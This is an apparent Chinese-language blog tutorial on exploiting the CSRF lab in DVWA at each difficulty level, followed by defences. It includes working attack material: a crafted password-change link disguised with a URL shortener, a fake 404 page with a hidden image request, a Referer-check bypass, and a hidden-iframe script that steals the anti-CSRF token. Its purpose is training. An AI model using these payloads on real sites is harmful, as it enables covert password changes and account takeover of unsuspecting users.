DVWA——CSRF 跨站請求僞造

CSRF屬於業務邏輯漏洞X
SQL注入、XSS屬於技術漏洞

原理

利用受害者尚未失效的身份認證信息(cookie,會話等),誘導受害人點擊惡意鏈接或者含有攻擊代碼的頁面,在受害人不知情的情況下,以受害者身份向服務器發送請求,從而完成非法操作(改密、轉賬等)。

前提條件

1、cookie未失效
2、用戶登錄

CSRF與XSS最大的區別

CSRF沒有盜取cookie,而是直接利用,看起是合法請求。

Low
1、構造惡意鏈接

http://192.168.168.190/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

當受害者點擊這個鏈接時,密碼就已經被修改。

注意,不同瀏覽器之間因爲機制不同,點擊鏈接攻擊是不會被觸發的,而是自動跳轉到登錄頁面。
2、這個鏈接修改密碼太明顯了,可以使用工具縮短url。如悟空短鏈接等(有效期半小時)

短鏈接條件:服務器域名不是ip

在這裏插入圖片描述

短鏈接 https://w.url.cn/s/AYYH7vc

在這裏插入圖片描述
受害者會看到密碼修改的提示

3、構造攻擊頁面
Burp抓包生成POC,複製到html裏面,上傳到服務器

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

4、這樣,還是明顯,可以嘗試打開頁面爲404

<html>
    <img src=http://192.168.168.190/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change# border="0" style="display:none;"/>
    <h1>404</h1>
    <h2>Not Found</h2>
</html>

在這裏插入圖片描述
在這裏插入圖片描述
此時,密碼已經修改成功,而用戶不知情。可以使用新密碼登錄DVWA驗證。

這種情況源代碼可以看到修改密碼的腳本

在這裏插入圖片描述

5、頁面跳轉
(1)在腳本中加入

<meta http-equiv="refresh" content="3; url=http://www.baidu.com/" />

頁面會卡頓一下然後跳轉到百度頁面,爲了顯示效果,中間會出現一個404頁面

在這裏插入圖片描述

(2)<script>window.location.href='http://www.baidu.com';</script>
還有別的頁面跳轉方式,可以自行百度。

Medium

在這裏插入圖片描述

可以看到,Medium級別的代碼檢查了保留變量HTTP_REFERER(http包頭的Referer參數的值,表示來源地址)中是否包含SERVER_NAME(http包頭的Host參數,及要訪問的主機名,這裏是192.168.153.130),希望通過這種機制抵禦CSRF攻擊。

我們可以將攻擊頁面命名爲 受害者ip.html,上傳、訪問
或者
可以用Burp抓包,修改refer頭部信息,文件名改爲受害者ip,便可完美繞過

High

可以看到,High級別的代碼加入了Anti-CSRF token機制,用戶每次訪問改密頁面時,服務器會返回一個隨機的token,向服務器發起請求時,需要提交token參數,而服務器在收到請求時,會優先檢查token,只有token正確,纔會處理客戶端的請求。
在這裏插入圖片描述

獲取token代碼

<script type="text/javascript">
    function attack()
  {
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
  document.getElementById("transfer").submit(); 
  }
</script>
 
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
 
<body onload="attack()">
  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
   <input type="hidden" name="password_new" value="password">
    <input type="hidden" name="password_conf" value="password">
   <input type="hidden" name="user_token" value="">
  <input type="hidden" name="Change" value="Change">
   </form>
</body>

當受害者點擊這個頁面,腳本會通過一個看不見的框架偷偷修改訪問修改密碼的頁面,獲取頁面的token,並向服務器發送改密請求,完成CSRF攻擊。
然而,這裏牽扯到了跨域問題,而現在的瀏覽器是不允許跨域請求的。所以攻擊腳本是不可能取到改密界面的token。
因此,我們要將攻擊代碼注入到目標服務器,纔可能完成攻擊。利用High級別的XSS漏洞協助獲取Anti-CSRF token(因爲這裏的XSS注入有長度限制,不能夠注入完整的攻擊腳本,所以只獲取Anti-CSRF token)。

Impossible
添加了二次認證,必須知道原密碼。

在這裏插入圖片描述

防禦
1、採用原始密碼認證;
2、驗證refer,即HTTP請求的來源地址。比如,黑客A想讓受害者B轉賬給他,A會自己搭建一個網站構造HTTP請求,誘使B點擊,從而使B處罰轉賬操作,此時refer值爲A自己搭建的網站地址。
3、驗證token(存在於服務器端session中)
4、在HTTP頭部自定義屬性並驗證(XMLHttpRequest)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章